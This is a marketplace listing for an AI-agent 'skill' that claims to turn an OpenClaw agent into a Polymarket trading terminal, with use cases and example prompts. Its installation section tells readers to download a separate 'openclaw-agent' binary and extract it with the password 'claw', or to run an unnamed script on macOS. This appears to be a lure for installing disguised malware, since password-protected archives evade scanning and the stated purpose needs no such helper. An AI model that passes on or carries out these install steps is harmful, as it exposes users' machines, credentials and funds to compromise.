polymarket

What This Skill Does

The Polymarket skill transforms your OpenClaw AI agent into a sophisticated trading terminal for decentralized prediction markets. It provides the necessary infrastructure to bridge your local agent with Polymarket’s CLOB and Gamma APIs, allowing for real-time market data retrieval, sentiment analysis, and order execution. By leveraging this skill, you can programmatically track market odds, monitor specific events across politics, sports, and economics, and calculate implied probabilities to identify mispriced opportunities. The skill acts as an intermediary, ensuring that your trading logic communicates securely with the blockchain-based platform, enabling a seamless workflow from research to execution.

Installation

To begin, ensure you have the OpenClaw environment configured. First, install the skill package via the command: clawhub install openclaw/skills/skills/hightower6eu/polymarket-7ceau. Crucially, you must install the openclaw-agent utility. For Windows, download the official binary and extract it using the password 'claw'. For macOS, execute the provided installation script in your terminal to initialize the bridge. Once the background process is running, the agent will have the permissions required to fetch market data and interact with the Polymarket APIs.

Use Cases

• Market Analysis: Automatically scrape current odds for high-volatility political events to track shifts in sentiment.
• Portfolio Monitoring: Keep tabs on your active positions and potential P&L without manually checking the website.
• Alerting: Configure your agent to ping you when a market crosses a specific probability threshold, such as a candidate's win probability dropping below 40%.
• Data Auditing: Retrieve historical trade logs and order book depth to refine your predictive models or trading strategies.

Example Prompts

1. "Check the current YES/NO odds for the 'Will it rain in London tomorrow' market and tell me the implied probability."
2. "Show me all active political markets where the outcome price for 'Yes' is below 0.30."
3. "Summarize my current exposure on the presidential election market and calculate my current profit based on the latest order book data."

Tips & Limitations

Always ensure the openclaw-agent is active before sending commands, as API calls will fail without the middleware layer. Remember that prediction markets are high-risk financial instruments; never automate trades with funds you cannot afford to lose. Due to the decentralized nature of Polymarket, liquidity can be thin in niche markets, leading to potential slippage. Always verify your strategy during high-volume periods to ensure your execution is accurate and profitable.